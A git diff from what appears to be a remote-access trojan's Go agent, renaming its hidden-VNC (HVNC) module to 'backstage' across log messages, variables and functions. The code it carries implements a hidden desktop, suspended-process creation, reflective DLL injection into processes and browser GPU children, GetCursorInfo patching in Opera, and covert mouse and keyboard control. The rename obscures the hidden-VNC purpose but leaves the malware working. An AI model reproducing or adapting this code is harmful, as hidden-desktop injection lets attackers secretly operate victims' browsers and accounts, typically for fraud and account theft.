shmName, len(dllBytes)) + log.Printf("backstage inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes)) enableDebugPrivilege() - // Create the process suspended on the HVNC desktop + // Create the process suspended on the backstage desktop hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display) if err != nil { procCloseHandle.Call(shmHandle) return 0, fmt.Errorf("failed to create suspended process: %v", err) } - log.Printf("hvnc inject: created suspended process PID %d", pid) + log.Printf("backstage inject: created suspended process PID %d", pid) // Inject the reflective DLL if err := reflectiveInject(hProcess, dllBytes); err != nil { @@ -898,7 +898,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD procCloseHandle.Call(shmHandle) return 0, fmt.Errorf("DLL injection failed: %v", err) } - log.Printf("hvnc inject: DLL injected into PID %d", pid) + log.Printf("backstage inject: DLL injected into PID %d", pid) // The DLL's InstallNtApiHooks has run (reflectiveInject waits for the // loader thread). The DLL opened the shared section, so we can release @@ -915,15 +915,15 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD } procCloseHandle.Call(hThread) - log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid) + log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid) if len(captureDllBytes) > 0 { - if !hvncDXGIEnabled.Load() { - log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process") + if !backstageDXGIEnabled.Load() { + log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process") } else { go func() { - defer recoverAndLog("hvnc deferred gpu inject", nil) - hvncDeferredGPUInject(pid, captureDllBytes) + defer recoverAndLog("backstage deferred gpu inject", nil) + backstageDeferredGPUInject(pid, captureDllBytes) }() } } @@ -931,46 +931,46 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD return pid, nil } -func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) { +func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) { time.Sleep(4 * time.Second) for attempt := 0; attempt < 15; attempt++ { gpuPID, err := findGPUChildProcess(browserPID) if err != nil { - log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err) + log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err) time.Sleep(2 * time.Second) continue } - log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID) + log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID) hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID)) if hProcess == 0 { - log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID) + log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID) return } if err := reflectiveInject(hProcess, captureDllBytes); err != nil { - log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err) + log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err) procCloseHandle.Call(hProcess) - if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID)) } return } procCloseHandle.Call(hProcess) - log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID) - hvncRegisterInjectedPID(gpuPID) - hvncRegisterGPUPID(browserPID, gpuPID) - if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID) + backstageRegisterInjectedPID(gpuPID) + backstageRegisterGPUPID(browserPID, gpuPID) + if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { fn(true, gpuPID, fmt.Sprintf("DXGI capture active (GPU PID %d)", gpuPID)) } return } - log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID) - if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { + log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID) + if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { fn(false, 0, "DXGI injection failed: GPU process not found") } } @@ -1094,7 +1094,7 @@ func terminateProcess(hProcess uintptr) { // createDLLSharedMemory creates a named page-file-backed section containing // the raw DLL bytes. Returns the mapping handle and section name. func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) { - name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano()) + name = fmt.Sprintf("Local\\backstage_rdi_%d", time.Now().UnixNano()) namePtr, err := syscall.UTF16PtrFromString(name) if err != nil { return 0, "", err @@ -1131,7 +1131,7 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er } func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) { - desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) + desktopNamePtr, err := syscall.UTF16PtrFromString(backstageDesktopName) if err != nil { return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) } @@ -1229,7 +1229,7 @@ func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int) return nil, err } - log.Printf("hvnc inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d", + log.Printf("backstage inject env: nativeChars=%d finalChars=%d searchRunes=%d replaceRunes=%d hasDllSection=%v dllSize=%d", blockLen, len(block), len([]rune(searchPath)), len([]rune(replacePath)), shmName != "", dllSize) return block, nil } @@ -1312,7 +1312,7 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error { if err != nil { return fmt.Errorf("failed to find ReflectiveLoader: %v", err) } - log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset) + log.Printf("backstage inject: ReflectiveLoader at offset 0x%x", loaderOffset) remoteBase, _, _ := procVirtualAllocEx.Call( hProcess, @@ -1356,9 +1356,9 @@ func reflectiveInject(hProcess uintptr, dllBytes []byte) error { waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, INFINITE_WAIT) var exitCode uint32 if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 { - log.Printf("hvnc inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode)) + log.Printf("backstage inject: remote loader thread finished wait=0x%x exit=%s", waitRet, describeExitCode(exitCode)) } else { - log.Printf("hvnc inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr) + log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr) } procCloseHandle.Call(hThread) diff --git a/Overlord-Client/cmd/agent/capture/backstage_patch_windows.go b/Overlord-Client/cmd/agent/capture/backstage_patch_windows.go index ac74cfb..cfe00e2 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_patch_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_patch_windows.go @@ -71,7 +71,7 @@ func patchGetCursorInfo(pid uint32) error { } } if !ok { - log.Printf("hvnc patch: verification mismatch for PID %d", pid) + log.Printf("backstage patch: verification mismatch for PID %d", pid) } } @@ -153,11 +153,11 @@ func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) { time.Sleep(delay) } if err := patchGetCursorInfo(pid); err != nil { - log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err) + log.Printf("backstage patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err) continue } - log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid) + log.Printf("backstage patch: successfully patched GetCursorInfo in PID %d", pid) return } - log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid) + log.Printf("backstage patch: all %d attempts failed for PID %d", maxRetries, pid) } diff --git a/Overlord-Client/cmd/agent/capture/backstage_stub.go b/Overlord-Client/cmd/agent/capture/backstage_stub.go index 9aaeb73..f913aed 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_stub.go +++ b/Overlord-Client/cmd/agent/capture/backstage_stub.go @@ -7,67 +7,67 @@ import ( "image" ) -func InitializeHVNCDesktop() error { - return errors.New("HVNC not supported on this platform") +func InitializebackstageDesktop() error { + return errors.New("backstage not supported on this platform") } -func CleanupHVNCDesktop() {} +func CleanupbackstageDesktop() {} -func SetHVNCCursorCapture(enabled bool) {} +func SetbackstageCursorCapture(enabled bool) {} -func SetHVNCDXGIEnabled(enabled bool) {} +func SetbackstageDXGIEnabled(enabled bool) {} -func GetHVNCDXGIEnabled() bool { return false } +func GetbackstageDXGIEnabled() bool { return false } -func SetHVNCUIAEnabled(enabled bool) {} +func SetbackstageUIAEnabled(enabled bool) {} -func GetHVNCUIAEnabled() bool { return false } +func GetbackstageUIAEnabled() bool { return false } func BackstageCaptureDisplay(display int) (*image.RGBA, error) { - return nil, errors.New("HVNC not supported on this platform") + return nil, errors.New("backstage not supported on this platform") } -func HVNCMonitorCount() int { +func BackstageMonitorCount() int { return 0 } -func StartHVNCProcess(filePath string, operaPatch bool, display int) error { - return errors.New("HVNC not supported on this platform") +func StartbackstageProcess(filePath string, operaPatch bool, display int) error { + return errors.New("backstage not supported on this platform") } -func HVNCInputMouseMove(display int, x, y int32) error { - return errors.New("HVNC not supported on this platform") +func BackstageInputMouseMove(display int, x, y int32) error { + return errors.New("backstage not supported on this platform") } -func HVNCInputMouseDown(button int) error { - return errors.New("HVNC not supported on this platform") +func BackstageInputMouseDown(button int) error { + return errors.New("backstage not supported on this platform") } -func HVNCInputMouseUp(button int) error { - return errors.New("HVNC not supported on this platform") +func BackstageInputMouseUp(button int) error { + return errors.New("backstage not supported on this platform") } -func HVNCInputKeyDown(vk uint16) error { - return errors.New("HVNC not supported on this platform") +func BackstageInputKeyDown(vk uint16) error { + return errors.New("backstage not supported on this platform") } -func HVNCInputKeyUp(vk uint16) error { - return errors.New("HVNC not supported on this platform") +func BackstageInputKeyUp(vk uint16) error { + return errors.New("backstage not supported on this platform") } -func HVNCInputMouseWheel(delta int32) error { - return errors.New("HVNC not supported on this platform") +func BackstageInputMouseWheel(delta int32) error { + return errors.New("backstage not supported on this platform") } -func HVNCAutoStartExplorer() error { - return errors.New("HVNC not supported on this platform") +func BackstageAutoStartExplorer() error { + return errors.New("backstage not supported on this platform") } -func HVNCKillAll() error { - return errors.New("HVNC not supported on this platform") +func BackstageKillAll() error { + return errors.New("backstage not supported on this platform") } -type HVNCWindowInfo struct { +type BackstageWindowInfo struct { HWND uintptr Title string X int @@ -80,7 +80,7 @@ type HVNCWindowInfo struct { Visible bool } -type HVNCMonitorInfo struct { +type BackstageMonitorInfo struct { Index int Name string X int @@ -90,6 +90,6 @@ type HVNCMonitorInfo struct { Primary bool } -func HVNCEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { +func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) { return nil, nil } diff --git a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go index bd7a95d..53122a8 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_uia_windows.go @@ -825,7 +825,7 @@ func uiaInit() error { return } uiaTreeWalker = uiaSingleton.GetControlViewWalker() - log.Printf("hvnc uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil) + log.Printf("backstage uia: IUIAutomation initialized successfully (walker=%v)", uiaTreeWalker != nil) }) return uiaInitErr } @@ -860,7 +860,7 @@ func uiaEnsureWorker() { uiaWorkerCh = make(chan func(), 64) uiaWorkerDone = make(chan struct{}) go func() { - defer recoverAndLog("hvnc uia worker", nil) + defer recoverAndLog("backstage uia worker", nil) uiaWorkerLoop() }() }) @@ -871,23 +871,23 @@ func uiaWorkerLoop() { defer runtime.UnlockOSThread() defer close(uiaWorkerDone) - hvncDesktopMu.Lock() - dh := hvncDesktopHandle - hvncDesktopMu.Unlock() + backstageDesktopMu.Lock() + dh := backstageDesktopHandle + backstageDesktopMu.Unlock() if dh != 0 { r, _, err := procSetThreadDesktop.Call(dh) if r == 0 { - log.Printf("hvnc uia: worker SetThreadDesktop failed: %v", err) + log.Printf("backstage uia: worker SetThreadDesktop failed: %v", err) for range uiaWorkerCh { } return } } else { - log.Printf("hvnc uia: warning — worker started before HVNC desktop exists") + log.Printf("backstage uia: warning — worker started before backstage desktop exists") } if err := uiaInit(); err != nil { - log.Printf("hvnc uia: worker init failed: %v", err) + log.Printf("backstage uia: worker init failed: %v", err) for range uiaWorkerCh { } return diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index 61fdf0c..abb312e 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -31,8 +31,8 @@ var ( procGetWindow = user32.NewProc("GetWindow") procGetTopWindow = user32.NewProc("GetTopWindow") procCreateProcessW = kernel32.NewProc("CreateProcessW") - procSendInputHVNC = user32.NewProc("SendInput") - procGetCursorPosHVNC = user32.NewProc("GetCursorPos") + procSendInputbackstage = user32.NewProc("SendInput") + procGetCursorPosbackstage = user32.NewProc("GetCursorPos") procWindowFromPoint = user32.NewProc("WindowFromPoint") procScreenToClient = user32.NewProc("ScreenToClient") procPostMessageW = user32.NewProc("PostMessageW") @@ -152,70 +152,70 @@ const ( ) var ( - hvncDesktopHandle uintptr - hvncDesktopMu sync.Mutex - hvncDesktopName = "OverlordHiddenDesktop" - hvncInitialized bool - hvncOriginalDesktop uintptr - hvncCursorEnabled bool - hvncThreadOnce sync.Once - hvncThreadErr error - hvncThreadReady chan struct{} - hvncThreadTasks chan hvncTask - hvncWatchdogOnce sync.Once - hvncNoWindowLogNs atomic.Int64 - hvncInputMu sync.Mutex - hvncLastCursor point - hvncHasCursor bool - hvncWorkingWindow uintptr - hvncShiftDown bool - hvncCtrlDown bool - hvncAltDown bool - hvncCapsLock bool - hvncMovingWindow bool - hvncMoveOffset point - hvncWindowSize point - hvncWindowToMove uintptr - hvncMouseButtons uint32 - hvncPendingActivate uintptr - hvncExplorerStarted bool - hvncTaskSeq atomic.Uint64 - hvncCurrentTaskID atomic.Uint64 - hvncCurrentTaskKind atomic.Int64 - hvncCurrentTaskNs atomic.Int64 - hvncLastScale atomic.Uint64 // float64 bits — scale used by last HVNC capture + backstageDesktopHandle uintptr + backstageDesktopMu sync.Mutex + backstageDesktopName = "OverlordHiddenDesktop" + backstageInitialized bool + backstageOriginalDesktop uintptr + backstageCursorEnabled bool + backstageThreadOnce sync.Once + backstageThreadErr error + backstageThreadReady chan struct{} + backstageThreadTasks chan backstageTask + backstageWatchdogOnce sync.Once + backstageNoWindowLogNs atomic.Int64 + backstageInputMu sync.Mutex + backstageLastCursor point + backstageHasCursor bool + backstageWorkingWindow uintptr + backstageShiftDown bool + backstageCtrlDown bool + backstageAltDown bool + backstageCapsLock bool + backstageMovingWindow bool + backstageMoveOffset point + backstageWindowSize point + backstageWindowToMove uintptr + backstageMouseButtons uint32 + backstagePendingActivate uintptr + backstageExplorerStarted bool + backstageTaskSeq atomic.Uint64 + backstageCurrentTaskID atomic.Uint64 + backstageCurrentTaskKind atomic.Int64 + backstageCurrentTaskNs atomic.Int64 + backstageLastScale atomic.Uint64 // float64 bits — scale used by last backstage capture // Capture cache: pooled DC/DIB per window to avoid per-frame allocation - hvncWinCache map[uintptr]*hvncWinCacheEntry - hvncWinCachePrev []byte + backstageWinCache map[uintptr]*backstageWinCacheEntry + backstageWinCachePrev []byte - hvncCompHdcMem uintptr - hvncCompHbmp uintptr - hvncCompBits unsafe.Pointer - hvncCompW int - hvncCompH int + backstageCompHdcMem uintptr + backstageCompHbmp uintptr + backstageCompBits unsafe.Pointer + backstageCompW int + backstageCompH int - hvncPendingMouseMove *hvncTask - hvncPendingMoveMu sync.Mutex + backstagePendingMouseMove *backstageTask + backstagePendingMoveMu sync.Mutex ) -type hvncTaskKind int +type backstageTaskKind int const ( - hvncTaskCapture hvncTaskKind = iota - hvncTaskStartProcess - hvncTaskStartProcessInjected - hvncTaskMouseMove - hvncTaskMouseDown - hvncTaskMouseUp - hvncTaskKeyDown - hvncTaskKeyUp - hvncTaskMouseWheel - hvncTaskAutoStartExplorer + backstageTaskCapture backstageTaskKind = iota + backstageTaskStartProcess + backstageTaskStartProcessInjected + backstageTaskMouseMove + backstageTaskMouseDown + backstageTaskMouseUp + backstageTaskKeyDown + backstageTaskKeyUp + backstageTaskMouseWheel + backstageTaskAutoStartExplorer ) -type hvncTask struct { - kind hvncTaskKind +type backstageTask struct { + kind backstageTaskKind id uint64 display int filePath string @@ -229,10 +229,10 @@ type hvncTask struct { searchPath string replacePath string queuedAt time.Time - resp chan hvncTaskResult + resp chan backstageTaskResult } -type hvncTaskResult struct { +type backstageTaskResult struct { img *image.RGBA err error pid uint32 @@ -275,7 +275,7 @@ type mouseInput struct { dwExtraInfo uintptr } -type hvncWinCacheEntry struct { +type backstageWinCacheEntry struct { hdcMem uintptr hbmp uintptr bits unsafe.Pointer @@ -327,18 +327,18 @@ func getTopWindow(hwnd uintptr) uintptr { return r } -func InitializeHVNCDesktop() error { - hvncDesktopMu.Lock() - defer hvncDesktopMu.Unlock() +func InitializebackstageDesktop() error { + backstageDesktopMu.Lock() + defer backstageDesktopMu.Unlock() - if hvncInitialized && hvncDesktopHandle != 0 { + if backstageInitialized && backstageDesktopHandle != 0 { return nil } threadId := getCurrentThreadId() - hvncOriginalDesktop = getThreadDesktop(threadId) + backstageOriginalDesktop = getThreadDesktop(threadId) - desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) + desktopNamePtr, err := syscall.UTF16PtrFromString(backstageDesktopName) if err != nil { return fmt.Errorf("failed to convert desktop name: %v", err) } @@ -365,79 +365,79 @@ func InitializeHVNCDesktop() error { } } - hvncDesktopHandle = r - hvncInitialized = true + backstageDesktopHandle = r + backstageInitialized = true return nil } -func CleanupHVNCDesktop() { - hvncDesktopMu.Lock() - defer hvncDesktopMu.Unlock() +func CleanupbackstageDesktop() { + backstageDesktopMu.Lock() + defer backstageDesktopMu.Unlock() - hvncCleanupFrameReaders() + backstageCleanupFrameReaders() - hvncFreeCapCache() + backstageFreeCapCache() - for _, entry := range hvncWinCache { - hvncFreeCacheEntry(entry) + for _, entry := range backstageWinCache { + backstageFreeCacheEntry(entry) } - hvncWinCache = nil - hvncWinCachePrev = nil + backstageWinCache = nil + backstageWinCachePrev = nil - if hvncCompHbmp != 0 { - deleteObject(hvncCompHbmp) - hvncCompHbmp = 0 + if backstageCompHbmp != 0 { + deleteObject(backstageCompHbmp) + backstageCompHbmp = 0 } - if hvncCompHdcMem != 0 { - deleteDC(hvncCompHdcMem) - hvncCompHdcMem = 0 + if backstageCompHdcMem != 0 { + deleteDC(backstageCompHdcMem) + backstageCompHdcMem = 0 } - hvncCompBits = nil - hvncCompW = 0 - hvncCompH = 0 + backstageCompBits = nil + backstageCompW = 0 + backstageCompH = 0 - hvncInputMu.Lock() - hvncShiftDown = false - hvncCtrlDown = false - hvncAltDown = false - hvncCapsLock = false - hvncMouseButtons = 0 - hvncHasCursor = false - hvncWorkingWindow = 0 - hvncInputMu.Unlock() - hvncLastScale.Store(0) + backstageInputMu.Lock() + backstageShiftDown = false + backstageCtrlDown = false + backstageAltDown = false + backstageCapsLock = false + backstageMouseButtons = 0 + backstageHasCursor = false + backstageWorkingWindow = 0 + backstageInputMu.Unlock() + backstageLastScale.Store(0) - if hvncDesktopHandle != 0 { - if hvncOriginalDesktop != 0 { - procSetThreadDesktop.Call(hvncOriginalDesktop) + if backstageDesktopHandle != 0 { + if backstageOriginalDesktop != 0 { + procSetThreadDesktop.Call(backstageOriginalDesktop) } - procCloseDesktop.Call(hvncDesktopHandle) - hvncDesktopHandle = 0 + procCloseDesktop.Call(backstageDesktopHandle) + backstageDesktopHandle = 0 } - hvncInitialized = false - hvncExplorerStarted = false + backstageInitialized = false + backstageExplorerStarted = false uiaCleanup() uiaClearActiveElement() resetWinUI3Cache() resetInputSiteCache() - if hvncThreadTasks != nil { - close(hvncThreadTasks) - hvncThreadTasks = nil + if backstageThreadTasks != nil { + close(backstageThreadTasks) + backstageThreadTasks = nil } - hvncThreadReady = nil - hvncThreadErr = nil - hvncThreadOnce = sync.Once{} - hvncWatchdogOnce = sync.Once{} + backstageThreadReady = nil + backstageThreadErr = nil + backstageThreadOnce = sync.Once{} + backstageWatchdogOnce = sync.Once{} } -func SetHVNCCursorCapture(enabled bool) { - hvncCursorEnabled = enabled +func SetbackstageCursorCapture(enabled bool) { + backstageCursorEnabled = enabled } -func hvncDesktopBounds() (image.Rectangle, bool) { +func backstageDesktopBounds() (image.Rectangle, bool) { hwnd, _, _ := procGetDesktopWindow.Call() if hwnd == 0 { return image.Rectangle{}, false @@ -453,115 +453,115 @@ func hvncDesktopBounds() (image.Rectangle, bool) { return image.Rect(int(r.left), int(r.top), int(r.right), int(r.bottom)), true } -func ensureHVNCThread() error { - hvncDesktopMu.Lock() - desktopHandle := hvncDesktopHandle - hvncDesktopMu.Unlock() +func ensurebackstageThread() error { + backstageDesktopMu.Lock() + desktopHandle := backstageDesktopHandle + backstageDesktopMu.Unlock() if desktopHandle == 0 { - return fmt.Errorf("hvnc desktop not initialized") + return fmt.Errorf("backstage desktop not initialized") } - hvncThreadOnce.Do(func() { - hvncThreadReady = make(chan struct{}) - hvncThreadTasks = make(chan hvncTask) - hvncWatchdogOnce.Do(func() { + backstageThreadOnce.Do(func() { + backstageThreadReady = make(chan struct{}) + backstageThreadTasks = make(chan backstageTask) + backstageWatchdogOnce.Do(func() { go func() { - defer recoverAndLog("hvnc watchdog", nil) - hvncThreadWatchdog() + defer recoverAndLog("backstage watchdog", nil) + backstageThreadWatchdog() }() }) go func(handle uintptr) { - defer recoverAndLog("hvnc desktop thread", nil) + defer recoverAndLog("backstage desktop thread", nil) runtime.LockOSThread() defer runtime.UnlockOSThread() r, _, err := procSetThreadDesktop.Call(handle) if r == 0 { - hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err) - close(hvncThreadReady) - for task := range hvncThreadTasks { - task.resp <- hvncTaskResult{err: hvncThreadErr} + backstageThreadErr = fmt.Errorf("failed to set thread desktop: %v", err) + close(backstageThreadReady) + for task := range backstageThreadTasks { + task.resp <- backstageTaskResult{err: backstageThreadErr} } return } - close(hvncThreadReady) - for task := range hvncThreadTasks { + close(backstageThreadReady) + for task := range backstageThreadTasks { start := time.Now() - hvncCurrentTaskID.Store(task.id) - hvncCurrentTaskKind.Store(int64(task.kind)) - hvncCurrentTaskNs.Store(start.UnixNano()) + backstageCurrentTaskID.Store(task.id) + backstageCurrentTaskKind.Store(int64(task.kind)) + backstageCurrentTaskNs.Store(start.UnixNano()) - if shouldTraceHVNCTask(task.kind) { - log.Printf("hvnc task: start id=%d kind=%s queued=%s details=%s", task.id, hvncTaskKindName(task.kind), start.Sub(task.queuedAt).Round(time.Millisecond), hvncTaskDetails(task)) + if shouldTracebackstageTask(task.kind) { + log.Printf("backstage task: start id=%d kind=%s queued=%s details=%s", task.id, backstageTaskKindName(task.kind), start.Sub(task.queuedAt).Round(time.Millisecond), backstageTaskDetails(task)) } - var result hvncTaskResult + var result backstageTaskResult switch task.kind { - case hvncTaskStartProcess: - result.pid, result.err = startHVNCProcessOnThread(task.filePath, task.display) - case hvncTaskStartProcessInjected: - result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display) - case hvncTaskMouseMove: - result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) - case hvncTaskMouseDown: - result.err = hvncMouseButtonOnThread(task.button, true) - case hvncTaskMouseUp: - result.err = hvncMouseButtonOnThread(task.button, false) - case hvncTaskKeyDown: - result.err = hvncKeyOnThread(task.vk, true) - case hvncTaskKeyUp: - result.err = hvncKeyOnThread(task.vk, false) - case hvncTaskMouseWheel: - result.err = hvncMouseWheelOnThread(task.delta) - case hvncTaskAutoStartExplorer: - result.err = hvncAutoStartExplorerOnThread() + case backstageTaskStartProcess: + result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display) + case backstageTaskStartProcessInjected: + result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display) + case backstageTaskMouseMove: + result.err = backstageMouseMoveOnThread(task.display, task.x, task.y) + case backstageTaskMouseDown: + result.err = backstageMouseButtonOnThread(task.button, true) + case backstageTaskMouseUp: + result.err = backstageMouseButtonOnThread(task.button, false) + case backstageTaskKeyDown: + result.err = backstageKeyOnThread(task.vk, true) + case backstageTaskKeyUp: + result.err = backstageKeyOnThread(task.vk, false) + case backstageTaskMouseWheel: + result.err = backstageMouseWheelOnThread(task.delta) + case backstageTaskAutoStartExplorer: + result.err = backstageAutoStartExplorerOnThread() default: result.img, result.err = BackstageCaptureDisplayOnThread(task.display) } dur := time.Since(start) - if shouldTraceHVNCTask(task.kind) || dur > 400*time.Millisecond { + if shouldTracebackstageTask(task.kind) || dur > 400*time.Millisecond { if result.err != nil { - log.Printf("hvnc task: done id=%d kind=%s dur=%s err=%v", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond), result.err) + log.Printf("backstage task: done id=%d kind=%s dur=%s err=%v", task.id, backstageTaskKindName(task.kind), dur.Round(time.Millisecond), result.err) } else { - log.Printf("hvnc task: done id=%d kind=%s dur=%s", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond)) + log.Printf("backstage task: done id=%d kind=%s dur=%s", task.id, backstageTaskKindName(task.kind), dur.Round(time.Millisecond)) } } - hvncCurrentTaskNs.Store(0) - hvncCurrentTaskKind.Store(-1) - hvncCurrentTaskID.Store(0) + backstageCurrentTaskNs.Store(0) + backstageCurrentTaskKind.Store(-1) + backstageCurrentTaskID.Store(0) task.resp <- result } }(desktopHandle) }) - if hvncThreadReady != nil { - <-hvncThreadReady + if backstageThreadReady != nil { + <-backstageThreadReady } - return hvncThreadErr + return backstageThreadErr } func BackstageCaptureDisplay(display int) (*image.RGBA, error) { - if err := ensureHVNCThread(); err != nil { + if err := ensurebackstageThread(); err != nil { return nil, err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskCapture, display: display, resp: resp} + resp := make(chan backstageTaskResult, 1) + backstageThreadTasks <- backstageTask{kind: backstageTaskCapture, display: display, resp: resp} result := <-resp return result.img, result.err } -func StartHVNCProcess(filePath string, operaPatch bool, display int) error { +func StartbackstageProcess(filePath string, operaPatch bool, display int) error { if filePath == "" { return fmt.Errorf("empty file path") } - result, err := executeHVNCTask(hvncTask{ - kind: hvncTaskStartProcess, + result, err := executebackstageTask(backstageTask{ + kind: backstageTaskStartProcess, filePath: strings.TrimSpace(filePath), display: display, }, 10*time.Second) @@ -573,19 +573,19 @@ func StartHVNCProcess(filePath string, operaPatch bool, display int) error { } if operaPatch && result.pid != 0 { go func() { - defer recoverAndLog("hvnc patch opera", nil) + defer recoverAndLog("backstage patch opera", nil) patchOperaAsync(result.pid, 5, 2*time.Second) }() } return nil } -func HVNCKillAll() error { - hvncDesktopMu.Lock() - deskHandle := hvncDesktopHandle - hvncDesktopMu.Unlock() +func BackstageKillAll() error { + backstageDesktopMu.Lock() + deskHandle := backstageDesktopHandle + backstageDesktopMu.Unlock() if deskHandle == 0 { - return fmt.Errorf("HVNC desktop not initialized") + return fmt.Errorf("backstage desktop not initialized") } pids := make(map[uint32]struct{}) @@ -609,16 +609,16 @@ func HVNCKillAll() error { killed++ } } - log.Printf("hvnc: kill all: terminated %d processes across %d pids", killed, len(pids)) + log.Printf("backstage: kill all: terminated %d processes across %d pids", killed, len(pids)) return nil } -func HVNCAutoStartExplorer() error { - if hvncExplorerStarted { +func BackstageAutoStartExplorer() error { + if backstageExplorerStarted { return nil } - result, err := executeHVNCTask(hvncTask{ - kind: hvncTaskAutoStartExplorer, + result, err := executebackstageTask(backstageTask{ + kind: backstageTaskAutoStartExplorer, }, 15*time.Second) if err != nil { return err @@ -626,154 +626,154 @@ func HVNCAutoStartExplorer() error { return result.err } -func HVNCInputMouseMove(display int, x, y int32) error { - result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second) +func BackstageInputMouseMove(display int, x, y int32) error { + result, err := executebackstageTask(backstageTask{kind: backstageTaskMouseMove, display: display, x: x, y: y}, 3*time.Second) if err != nil { return err } return result.err } -func HVNCInputMouseDown(button int) error { - result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseDown, button: button}, 3*time.Second) +func BackstageInputMouseDown(button int) error { + result, err := executebackstageTask(backstageTask{kind: backstageTaskMouseDown, button: button}, 3*time.Second) if err != nil { return err } return result.err } -func HVNCInputMouseUp(button int) error { - result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseUp, button: button}, 3*time.Second) +func BackstageInputMouseUp(button int) error { + result, err := executebackstageTask(backstageTask{kind: backstageTaskMouseUp, button: button}, 3*time.Second) if err != nil { return err } return result.err } -func HVNCInputKeyDown(vk uint16) error { - result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyDown, vk: vk}, 3*time.Second) +func BackstageInputKeyDown(vk uint16) error { + result, err := executebackstageTask(backstageTask{kind: backstageTaskKeyDown, vk: vk}, 3*time.Second) if err != nil { return err } 